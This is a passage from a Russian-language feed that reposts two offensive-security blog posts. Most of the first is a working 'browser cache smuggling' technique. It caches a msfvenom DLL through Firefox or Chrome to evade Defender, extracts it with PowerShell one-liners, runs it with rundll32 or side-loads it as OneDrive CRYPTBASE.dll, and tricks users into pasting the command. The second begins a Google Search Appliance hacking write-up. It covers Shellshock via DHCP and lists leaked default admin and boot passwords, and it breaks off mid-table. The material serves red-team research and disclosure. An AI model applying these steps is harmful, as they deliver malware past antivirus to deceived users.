  &lt;p id=&quot;11I0&quot;&gt;Это означает, что DLL была эффективно доставлена ​​в систему. А что, если я вам скажу, что этот способ доставки не помечается антивирусом? Ага! Защитник работает на компьютере с Windows, который является моей целью, и ничего не кричит. Знаю, почему? Потому что когда DLL была загружена и сохранена в кеше, она была переименована в случайное имя файла без расширения:&lt;/p&gt;
  &lt;figure id=&quot;hLvA&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/dll_renamed.png&quot; width=&quot;741&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bQNj&quot;&gt;Таким образом, Защитник не сканирует файл, и наша DLL может оставаться там столько, сколько нам нужно!&lt;/p&gt;
  &lt;h2 id=&quot;eFgF&quot;&gt;III/ А что насчет исполнения?&lt;/h2&gt;
  &lt;p id=&quot;c0GG&quot;&gt;Типичный способ заставить это работать — провести социальную инженерию пользователя, сообщив ему, что с его системой что-то не так и что ему нужно запустить команду, чтобы это исправить. Мы сообщаем им, что команда находится на официальной веб-странице. Когда страница загружается, DLL кэшируется в их системе. Пользователь получает команду с веб-страницы и запускает ее, что приводит к выполнению уже кэшированной DLL. При таком подходе мы гарантируем, что DLL по-прежнему кэшируется, когда пользователь запускает команду.&lt;/p&gt;
  &lt;p id=&quot;24Ge&quot;&gt;Ключевое отличие этого подхода от социальной инженерии, позволяющей пользователю выполнить команду C2 stager, заключается в том, что команда, которую мы заставляем пользователя выполнить, не загружает вредоносную полезную нагрузку, поскольку она уже находится в системе и кэшируется браузером. Идея состоит в том, чтобы попытаться сделать команду максимально безопасной, чтобы избежать подозрений или обнаружения, и позволить Firefox делать грязную работу, кэшируя DLL-файл вредоносного ПО.&lt;/p&gt;
  &lt;p id=&quot;erKV&quot;&gt;Чтобы это работало, нам нужен способ найти нашу DLL среди всех других файлов, кэшируемых браузером.&lt;/p&gt;
  &lt;p id=&quot;lTv8&quot;&gt;Если мы внимательно посмотрим на размер кэшированной DLL и размер самой DLL, то увидим, что кэшированная немного больше:&lt;/p&gt;
  &lt;figure id=&quot;REbK&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/size_difference.png&quot; width=&quot;783&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bg5L&quot;&gt;Причина в том, что кэшированный файл — это не просто DLL, это файл, который содержит как содержимое DLL-файла, так и метаданные. Среди метаданных есть HTTP-ответ сервера Nginx, содержащий несколько HTTP-заголовков:&lt;/p&gt;
  &lt;figure id=&quot;kBSQ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/metadata-1024x864.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;M0Tu&quot;&gt;Таким образом, все, что нам нужно сделать, это создать флаг в ответе HTTP сервера, который позволит нам идентифицировать нашу DLL. Мы можем добиться этого, изменив файл конфигурации Nginx следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;B0u1&quot;&gt;server {
	listen 80 default_server;
	listen [::]:80 default_server;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;

	# Adding the HTTP header TAG used to find the real DLL
	location /calc.dll {
		# Override the mime type
		types { } default_type image/jpeg;
		add_header Tag DLLHERE;
	}
}&lt;/pre&gt;
  &lt;p id=&quot;5Cn9&quot;&gt;Если мы перезагрузим HTML-страницу, мы увидим, что когда серверу предлагается предоставить файл &lt;code&gt;calc.dll&lt;/code&gt;, его ответ содержит дополнительный HTTP-заголовок, который отмечает нашу DLL:&lt;/p&gt;
  &lt;figure id=&quot;YMQL&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/tag_here.png&quot; width=&quot;764&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rmMs&quot;&gt;Используя PowerShell или пакетную обработку, мы можем выполнить поиск этой конкретной строки, чтобы найти нашу DLL в каталоге локального кэша:&lt;/p&gt;
  &lt;figure id=&quot;z5uJ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/dll_found.png&quot; width=&quot;937&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lwEc&quot;&gt;На данный момент мы знаем, где находится наша DLL, поэтому давайте попробуем ее выполнить.&lt;/p&gt;
  &lt;p id=&quot;wtSe&quot;&gt;Проводя это исследование, я понял, что как только я переименовал файл кэша в « &lt;code&gt;calc.dll&lt;/code&gt;», антивирус пометил его как вредоносный (мсфвеном, вы знаете…). Я пробовал много чего, пока не понял, что rundll32 может выполнять DLL, у которой нет расширения .dll:&lt;/p&gt;
  &lt;figure id=&quot;4UfK&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/dll_without_dot.png&quot; width=&quot;849&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pP5I&quot;&gt;Все, что вам нужно сделать, это добавить точку к имени кэшированного файла, и rundll32 выполнит его. Еще более странно то, что мы уже видели, что кэшированный файл — это не только DLL, но и метаданные, однако rundll32 не заботится об этом и будет выполнять DLL.&lt;/p&gt;
  &lt;p id=&quot;CklC&quot;&gt;Заставление пользователя выполнить rundll32 может вызвать некоторые сигналы тревоги, даже если DLL уже находится в файловой системе пользователя. Альтернативный подход может заключаться в простом перемещении существующей DLL на место, чтобы она выполнялась, когда пользователь открывает другое приложение. В результате получается гораздо более безопасная команда, которая сама ничего не загружает и не выполняет, а только перемещает существующий файл. Однако этот подход требует, чтобы ваша вредоносная DLL не обнаруживалась статически антивирусом.&lt;/p&gt;
  &lt;p id=&quot;e6Zs&quot;&gt;Следующий однострочный код PowerShell будет искать DLL в каталоге кэша и перемещать ее в подходящее место, например в папку OneDrive, чтобы запустить атаку с боковой загрузкой DLL:&lt;/p&gt;
  &lt;pre id=&quot;oWEj&quot;&gt;foreach($f in @(&amp;quot;$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\&amp;quot;)){gci $f -r|%{if(Select-String -Pattern &amp;quot;DLLHERE&amp;quot; -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}&lt;/pre&gt;
  &lt;p id=&quot;t1ok&quot;&gt;Когда в следующий раз будет запущен OneDrive, ваше вредоносное ПО тоже будет!&lt;/p&gt;
  &lt;h2 id=&quot;GZEv&quot;&gt;IV/ А как насчет Google Chrome?&lt;/h2&gt;
  &lt;p id=&quot;Z6hE&quot;&gt;Способ, которым Google Chrome хранит файлы в своем кеше, немного сложнее использовать. Действительно, файлы не хранятся по отдельности, они хранятся в нескольких базах данных, расположенных в &lt;code&gt;%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data&lt;/code&gt;папке:&lt;/p&gt;
  &lt;figure id=&quot;fT2P&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/image-9.png&quot; width=&quot;706&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nJl7&quot;&gt;Таким образом, получение кэшированных файлов означает манипулирование базой данных, а это непросто, особенно с PowerShell. В этот момент я думал, что эту технику невозможно использовать в Chrome, пока @shifttymike не прислал мне это сообщение:&lt;/p&gt;
  &lt;figure id=&quot;UIV1&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/image-10.png&quot; width=&quot;610&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HowV&quot;&gt;И это гениально! Вот как я собрал вещи воедино. Сначала мы создаем DLL через msfvenom:&lt;/p&gt;
  &lt;pre id=&quot;CQmM&quot;&gt;msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll &amp;gt; calc.dll&lt;/pre&gt;
  &lt;p id=&quot;UQzC&quot;&gt;Затем мы добавляем строку, которая сообщит нам, где начинается DLL:&lt;/p&gt;
  &lt;pre id=&quot;w78s&quot;&gt;sed -i &amp;quot;1s/^/INDLL/&amp;quot; calc.dll&lt;/pre&gt;
  &lt;p id=&quot;dRpa&quot;&gt;И добавьте строку, чтобы сообщить нам, где она заканчивается:&lt;/p&gt;
  &lt;pre id=&quot;MxXt&quot;&gt;echo -n &amp;quot;OUTDLL&amp;quot; &amp;gt;&amp;gt; calc.dll&lt;/pre&gt;
  &lt;p id=&quot;jMWF&quot;&gt;На данный момент мы знаем, что наша DLL расположена между тегами INDLL и OUTDLL в одной из баз данных кэша Chrome. Все, что нам нужно сделать, это запустить некоторый код PowerShell, который сможет анализировать базы данных Chrome и извлекать из них DLL. Это можно сделать с помощью следующего однострочного кода PowerShell:&lt;/p&gt;
  &lt;pre id=&quot;WPZW&quot;&gt;$d=&amp;quot;$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\&amp;quot;;gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),&amp;quot;(?&amp;lt;=INDLL)(.*?)(?=OUTDLL)&amp;quot;,[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes(&amp;quot;$d\hello.dll&amp;quot;,[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}&lt;/pre&gt;
  &lt;p id=&quot;iPwr&quot;&gt;И, по сути, наша DLL найдена и извлечена:&lt;/p&gt;
  &lt;figure id=&quot;g5pj&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/image-11.png&quot; width=&quot;920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DWli&quot;&gt;Затем мы можем использовать &lt;code&gt;rundll32&lt;/code&gt;для его выполнения:&lt;/p&gt;
  &lt;figure id=&quot;22D9&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/rundll_exec.png&quot; width=&quot;1021&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VWyv&quot;&gt;Или переместите DLL в определенную папку, как показано ранее.&lt;/p&gt;
  &lt;h2 id=&quot;X6eC&quot;&gt;V/ Заключение&lt;/h2&gt;
  &lt;p id=&quot;sbtr&quot;&gt;Насколько мне известно, я еще не видел описания этого способа доставки вредоносного ПО. На мой взгляд, это довольно крутой трюк, поскольку он позволяет оператору красной команды принудительно загрузить вредоносное ПО, просто отправив URL-адрес его цели. Нет необходимости обманом заставить цель загрузить вредоносный файл (который может быть подозрительным), единственное, о чем вам нужно позаботиться, — это заставить пользователя запустить безобидный на вид однострочный файл Power Shell. На мой взгляд, намного скрытнее ;)!&lt;/p&gt;
  &lt;p id=&quot;bdK8&quot;&gt;Последний совет от Red Teamer: если вы когда-нибудь найдете компьютер или сервер, на котором установлен браузер, вы можете заглянуть в папку кеша и прочитать кешированные файлы. Благодаря метаданным вы сможете собирать имена хостов DNS, которые позволят вам обнаруживать потенциальные цели во внутренней сети (привет, vSphere :D)!&lt;/p&gt;
  &lt;p id=&quot;Nuzx&quot;&gt;Удачного взлома!&lt;/p&gt;
  &lt;p id=&quot;lrsa&quot;&gt;Это перекрестная публикация с &lt;a href=&quot;https://blog.whiteflag.io/blog/browser-cache-smuggling/&quot; target=&quot;_blank&quot;&gt;https://blog.whiteflag.io/blog/browser-cache-smuggling/ .&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>papioss:McEvnsXhDBL</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/McEvnsXhDBL?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Путешествие во взлом Google Search Appliance</title><published>2023-11-01T12:20:03.114Z</published><updated>2023-11-01T12:20:03.114Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/ea/7c/ea7cc2fb-8fe9-43c2-9042-8f9df51f406d.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://devco.re/assets/img/blog/20230707/1.png&quot;&gt;Английская версия ,中文版本</summary><content type="html">
  &lt;figure id=&quot;Ass7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/1.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;baDM&quot;&gt;&lt;a href=&quot;https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance-en&quot; target=&quot;_blank&quot;&gt;Английская версия&lt;/a&gt; ,&lt;a href=&quot;https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance/&quot; target=&quot;_blank&quot;&gt;中文版本&lt;/a&gt;&lt;/p&gt;
  &lt;h3 id=&quot;tldr&quot;&gt;ТЛ;ДР&lt;/h3&gt;
  &lt;ul id=&quot;ojJO&quot;&gt;
    &lt;li id=&quot;R5SL&quot;&gt;Удаленное выполнение кода после аутентификации в консоли администратора GSA.&lt;/li&gt;
    &lt;li id=&quot;6Rk9&quot;&gt;Интерфейс поиска GSA Обход пути.&lt;/li&gt;
    &lt;li id=&quot;JJKR&quot;&gt;GSA использует технологию Oracle Outside-in для преобразования документов.&lt;/li&gt;
    &lt;li id=&quot;d8hT&quot;&gt;Веб-службы Google имеют некоторые фиксированные URI, которые предоставляют информацию о самой службе.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;introduction&quot;&gt;Введение&lt;/h3&gt;
  &lt;p id=&quot;51e1&quot;&gt;Google Search Appliance (далее — GSA) — это корпоративное поисковое устройство, выпущенное Google в 2002 году и используемое для индексирования и получения информации из внутренней или общедоступной сети. Примерно в 2005 году Google представила Google Mini для личного использования и малого бизнеса. Позже, в конце 2008 года, была запущена версия виртуальной машины под названием Virtual Google Search Appliance (далее VGSA). Однако в конце 2018 года Google завершила жизненный цикл продукта GSA и интегрировала его в линейку продуктов Cloud Search.&lt;/p&gt;
  &lt;h3 id=&quot;appliance-and-software-acquisition&quot;&gt;Приобретение оборудования и программного обеспечения&lt;/h3&gt;
  &lt;p id=&quot;ZNRq&quot;&gt;Нам удалось приобрести устройство, выполнив поиск «Google Search Appliance» на eBay.&lt;/p&gt;
  &lt;p id=&quot;NGvo&quot;&gt;К счастью, первым, что мы купили, был GSA с нестертыми данными:&lt;/p&gt;
  &lt;figure id=&quot;Uq0h&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/1.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LEmI&quot;&gt;Даже сейчас еще можно найти устройства, которые сейчас продаются.&lt;/p&gt;
  &lt;figure id=&quot;ufKV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/2.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Vw5q&quot;&gt;С другой стороны, исходная общедоступная ссылка на vGSA была удалена. http://dl.google.com/vgsa/vgsa_20090210.7z [удалено] http://dl.google.com/vgsa/vgsa_20081028.7z [удалено]&lt;/p&gt;
  &lt;p id=&quot;Xk5m&quot;&gt;Мы нашли файл по магнитной ссылке BitTorrent:&lt;/p&gt;
  &lt;p id=&quot;CJeb&quot;&gt;&lt;code&gt;magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;0phz&quot;&gt;Затем нашел ссылку на старую версию программного обеспечения в группах Google: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ.&lt;/p&gt;
  &lt;figure id=&quot;WXzH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/3.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0s8Q&quot;&gt;Ссылка была:&lt;/p&gt;
  &lt;p id=&quot;KIhO&quot;&gt;http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [удалено]&lt;/p&gt;
  &lt;p id=&quot;CsZo&quot;&gt;И мы можем получить все номера версий по адресу: &lt;a href=&quot;http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;ref_topic=2709671&quot; target=&quot;_blank&quot;&gt;http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;amp;ref_topic=2709671 .&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;AY6j&quot;&gt;Угадывание правил именования файлов как&lt;code&gt;install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;oNXS&quot;&gt;И напишите сценарий оболочки, чтобы попытаться загрузить программное обеспечение:&lt;/p&gt;
  &lt;pre id=&quot;4o3P&quot;&gt;for((j=622;j&amp;lt;999;+j));do for((i=1;i&amp;lt;444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j&amp;lt;999;+j));do for((i=1;i&amp;lt;444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j&amp;lt;999;+j));do for((i=1;i&amp;lt;444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done
&lt;/pre&gt;
  &lt;p id=&quot;jFHe&quot;&gt;Включая информацию, найденную посредством поиска в Интернете, успешно получен следующий файл:&lt;/p&gt;
  &lt;pre id=&quot;Joud&quot;&gt;all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin
&lt;/pre&gt;
  &lt;h3 id=&quot;vgsa-virtual-google-search-appliance&quot;&gt;vGSA (виртуальное устройство поиска Google)&lt;/h3&gt;
  &lt;p id=&quot;tVWo&quot;&gt;Далее мы начали исследование vGSA. По умолчанию после импорта виртуальной машины эта система предоставляет только функцию настройки сети и не предоставляет системную оболочку для работы или использования. Однако, поскольку виртуальная машина работает в нашей собственной среде, обычно можно получить системные разрешения следующими методами:&lt;/p&gt;
  &lt;ul id=&quot;NYxN&quot;&gt;
    &lt;li id=&quot;921J&quot;&gt;Непосредственное изменение незашифрованных файлов диска&lt;/li&gt;
    &lt;li id=&quot;iDb6&quot;&gt;Изменение памяти виртуальной машины&lt;/li&gt;
    &lt;li id=&quot;bpHV&quot;&gt;Загрузка с компакт-дисков или дисков другой операционной системы&lt;/li&gt;
    &lt;li id=&quot;jeoR&quot;&gt;Эксплуатация известных уязвимостей&lt;/li&gt;
    &lt;li id=&quot;BwKh&quot;&gt;Использование жестко запрограммированных паролей администратора или системной учетной записи.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Dmxr&quot;&gt;На следующем изображении показан экран конфигурации сети:&lt;/p&gt;
  &lt;figure id=&quot;myiW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/4.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;cve-2014-6271&quot;&gt;CVE-2014-6271&lt;/h4&gt;
  &lt;p id=&quot;rztU&quot;&gt;При тестировании ранних устройств и серверов Linux, особенно тех, которые используют операционную систему серии RedHat, часто возникают уязвимости Shellshock, и vGSA, выпущенная в 2008 году, не является исключением. Вставка опции 114 в DHCP-сервер будет установлена ​​в переменной среды, тем самым активируя уязвимость и выполняя любую команду.&lt;/p&gt;
  &lt;p id=&quot;W9DM&quot;&gt;Была предпринята попытка вставить команду: &lt;code&gt;useradd zzzzgsa&lt;/code&gt;. Можно наблюдать, как эта команда выполняется неоднократно, поскольку в выводе консоли продолжают появляться сообщения об ошибках.&lt;/p&gt;
  &lt;figure id=&quot;0mZe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/5.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;vgsa-operation-system-observation&quot;&gt;наблюдение за операционной системой vGSA&lt;/h4&gt;
  &lt;p id=&quot;RzUs&quot;&gt;После успешного получения привилегий операционной системы мы можем наблюдать за сетевым окружением, запущенными приложениями и файловой системой. Вот некоторые выводы, полученные в результате наблюдения за средой операционной системы:&lt;/p&gt;
  &lt;ul id=&quot;aCRA&quot;&gt;
    &lt;li id=&quot;tQvQ&quot;&gt;Номер версии: 5.2.0.G.27.&lt;/li&gt;
    &lt;li id=&quot;hgAM&quot;&gt;Сервисы в основном написаны на C/C++, Java, Python.&lt;/li&gt;
    &lt;li id=&quot;fS5d&quot;&gt;/export/hda3, похоже, является каталогом, который в основном используется службой.&lt;/li&gt;
    &lt;li id=&quot;ljlH&quot;&gt;/etc/shadow содержит учетную запись root с хешем пароля x███████████M.&lt;/li&gt;
    &lt;li id=&quot;owJo&quot;&gt;Интерфейс администрирования прослушивает порты 8000, 8443 с паролем администратора по умолчанию, j0njlRXpU5CQ.&lt;/li&gt;
    &lt;li id=&quot;N23S&quot;&gt;/.gnupg содержит открытый и закрытый ключи ent_box_key.&lt;/li&gt;
    &lt;li id=&quot;uago&quot;&gt;/.gnupg содержит открытый ключ google_license_key.&lt;/li&gt;
    &lt;li id=&quot;acJr&quot;&gt;/.ssh/authorized_keys содержит два набора открытых ключей.&lt;/li&gt;
    &lt;li id=&quot;3R13&quot;&gt;/root/.ssh/authorized_keys содержит один набор открытых ключей.&lt;/li&gt;
    &lt;li id=&quot;GbPH&quot;&gt;/root/.ssh/ содержит два набора открытых и закрытых ключей SSH.&lt;/li&gt;
    &lt;li id=&quot;5kvR&quot;&gt;/root/.gnupg/ содержит открытый и закрытый ключи ent_box_key.&lt;/li&gt;
    &lt;li id=&quot;JZNl&quot;&gt;Технология Outside In от Oracle используется для преобразования документов в веб-страницы HTML.&lt;/li&gt;
    &lt;li id=&quot;bGAe&quot;&gt;Среда выполнения Java использует для защиты диспетчер безопасности.&lt;/li&gt;
    &lt;li id=&quot;rSM6&quot;&gt;Функция запроса на техническую поддержку использует ppp для создания виртуальной частной сети, /etc/ppp/chap-secrets содержит пароли учетных записей ( z██████c、]███████T .&lt;/li&gt;
    &lt;li id=&quot;gDyI&quot;&gt;Пароль меню загрузки в /etc/lilo.conf — cmBalx7.&lt;/li&gt;
    &lt;li id=&quot;zeM9&quot;&gt;/export/hda3/versionmanager/google_key.symmetric содержит строку, которая, по-видимому, используется для симметричного шифрования.&lt;/li&gt;
    &lt;li id=&quot;u30a&quot;&gt;/export/hda3/versionmanager/vmanager_passwd содержит два набора комбинаций имени пользователя и пароля ( admin: M█████████████████████████w=:9█ █= google：w██████████████████████████o=:N██= ).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;FhRr&quot;&gt;Исполняемые программы с сетевыми сервисами следующие:&lt;/p&gt;
  &lt;p id=&quot;SlE6&quot;&gt;Слушать порт&lt;/p&gt;
  &lt;p id=&quot;3w95&quot;&gt;Имя процесса&lt;/p&gt;
  &lt;p id=&quot;TwHs&quot;&gt;Язык программы&lt;/p&gt;
  &lt;p id=&quot;gMW5&quot;&gt;Функция&lt;/p&gt;
  &lt;p id=&quot;1pB9&quot;&gt;22&lt;/p&gt;
  &lt;p id=&quot;24CL&quot;&gt;сш&lt;/p&gt;
  &lt;p id=&quot;5fq7&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;oWTd&quot;&gt;OpenSSH-сервер&lt;/p&gt;
  &lt;p id=&quot;yOdC&quot;&gt;53&lt;/p&gt;
  &lt;p id=&quot;LStM&quot;&gt;названный&lt;/p&gt;
  &lt;p id=&quot;DJsl&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;ULoB&quot;&gt;Привязка по имени&lt;/p&gt;
  &lt;p id=&quot;m2eI&quot;&gt;953&lt;/p&gt;
  &lt;p id=&quot;Zlds&quot;&gt;названный&lt;/p&gt;
  &lt;p id=&quot;6Gan&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;Iyog&quot;&gt;Привязка по имени&lt;/p&gt;
  &lt;p id=&quot;eTG9&quot;&gt;1111&lt;/p&gt;
  &lt;p id=&quot;hvUy&quot;&gt;webserver_config&lt;/p&gt;
  &lt;p id=&quot;rRQd&quot;&gt;питон&lt;/p&gt;
  &lt;p id=&quot;tRMS&quot;&gt;Установщик&lt;/p&gt;
  &lt;p id=&quot;mVbI&quot;&gt;2100&lt;/p&gt;
  &lt;p id=&quot;23sF&quot;&gt;adminrunner.py&lt;/p&gt;
  &lt;p id=&quot;KzGl&quot;&gt;питон&lt;/p&gt;
  &lt;p id=&quot;lH9F&quot;&gt;серверная часть консоли администратора&lt;/p&gt;
  &lt;p id=&quot;5hZi&quot;&gt;3990&lt;/p&gt;
  &lt;p id=&quot;pHJC&quot;&gt;монитор&lt;/p&gt;
  &lt;p id=&quot;dNJY&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;jXQy&quot;&gt;монитор&lt;/p&gt;
  &lt;p id=&quot;Yj2K&quot;&gt;4000&lt;/p&gt;
  &lt;p id=&quot;NgA7&quot;&gt;ртсервер&lt;/p&gt;
  &lt;p id=&quot;EuDC&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;Ae9M&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;FbT2&quot;&gt;4430&lt;/p&gt;
  &lt;p id=&quot;Vbxk&quot;&gt;Корпоративный интерфейс&lt;/p&gt;
  &lt;p id=&quot;dWAY&quot;&gt;Java (с менеджером безопасности)&lt;/p&gt;
  &lt;p id=&quot;kYVp&quot;&gt;интерфейс консоли администратора&lt;/p&gt;
  &lt;p id=&quot;7C8p&quot;&gt;4911&lt;/p&gt;
  &lt;p id=&quot;NxoJ&quot;&gt;боргмон&lt;/p&gt;
  &lt;p id=&quot;ATcW&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;6MqH&quot;&gt;боргмон&lt;/p&gt;
  &lt;p id=&quot;7wfQ&quot;&gt;4916&lt;/p&gt;
  &lt;p id=&quot;lN1z&quot;&gt;реактор&lt;/p&gt;
  &lt;p id=&quot;RHAH&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;oX6x&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;NN1G&quot;&gt;5000&lt;/p&gt;
  &lt;p id=&quot;g8sy&quot;&gt;ртсервер&lt;/p&gt;
  &lt;p id=&quot;QJaC&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;h4Pu&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;gndm&quot;&gt;5600&lt;/p&gt;
  &lt;p id=&quot;wvAk&quot;&gt;ртсервер&lt;/p&gt;
  &lt;p id=&quot;HELu&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;BAHt&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;8eIV&quot;&gt;6600&lt;/p&gt;
  &lt;p id=&quot;8ZTp&quot;&gt;кэш-сервер&lt;/p&gt;
  &lt;p id=&quot;V1Sy&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;3dEm&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;XOoV&quot;&gt;7800&lt;/p&gt;
  &lt;p id=&quot;sFqY&quot;&gt;Корпоративный интерфейс&lt;/p&gt;
  &lt;p id=&quot;KSXQ&quot;&gt;Java (с менеджером безопасности)&lt;/p&gt;
  &lt;p id=&quot;Kv3J&quot;&gt;Интерфейс консоли администратора (http)&lt;/p&gt;
  &lt;p id=&quot;YRf6&quot;&gt;7880&lt;/p&gt;
  &lt;p id=&quot;YFWB&quot;&gt;ТаблицаСервер&lt;/p&gt;
  &lt;p id=&quot;8qOX&quot;&gt;Java (с менеджером безопасности)&lt;/p&gt;
  &lt;p id=&quot;nxyx&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;tAu8&quot;&gt;7882&lt;/p&gt;
  &lt;p id=&quot;0Yso&quot;&gt;АутцЧекер&lt;/p&gt;
  &lt;p id=&quot;DrFz&quot;&gt;Java (без менеджера безопасности)&lt;/p&gt;
